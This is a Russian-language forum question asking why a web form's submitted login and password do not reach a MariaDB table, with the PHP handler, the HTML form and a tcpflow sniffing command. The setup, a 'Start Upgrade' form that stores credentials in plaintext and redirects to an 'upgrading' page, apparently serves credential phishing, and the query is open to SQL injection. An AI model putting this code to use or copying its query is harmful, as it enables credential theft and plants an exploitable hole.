Введенные данные из WEB не записываются в БД - PullRequest
0 голосов
/ 10 марта 2019

Может кто-нибудь помочь мне выяснить, почему все новые логины не записываются в БД? У меня такая среда:

MariaDB:

MariaDB [(none)]> select * from db.table;
| id | password1 | password2 |

nginx с таким файлом dbconnect.php :

<?php
session_start();
ob_start();
$host="localhost";
$username="name";
$pass="password";
$dbname="db";
$tbl_name="table";

// Create connection
$conn = mysqli_connect($host, $username, $pass, $dbname);
// Check connection
if ($conn) {
    $password1=$_POST['password1'];
        $password2=$_POST['password2'];

        $sql = "INSERT INTO table (password1, password2) VALUES ('$password1', '$password2')";
        if (mysqli_query($conn, $sql)) {
        echo "New record created successfully";
        } else {
                echo "Error: " . $sql . "<br>" . mysqli_error($conn);
        }

        mysqli_close($conn);
}

sleep(2);
header("location:upgrading.html");
ob_end_flush();
?>

html page:

<form method="POST" action="dbconnect.php">
          <label>login:</label>
          <input class="form-control" type="password" name="password1" required="required">
          <label>password:</label>
          <input class="form-control" type="password" name="password2" required="required">
          <input type="submit" value="Start Upgrade" class="btn btn-primart" />
</form>

Но после ввода данных в эти поля (пароль1 и пароль2) и отправки через WEB, БД не обновляется с ними, хотя я вижу введенные данные с помощью этой команды онлайн:

sudo tcpflow -i any -C -g port 80 | grep -i "password1="

Но после ввода учетных данных в WebForm я получаю 405 method not allowed. Возможно, есть причина, по которой данные не записываются в БД. Пытаюсь это исправить.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...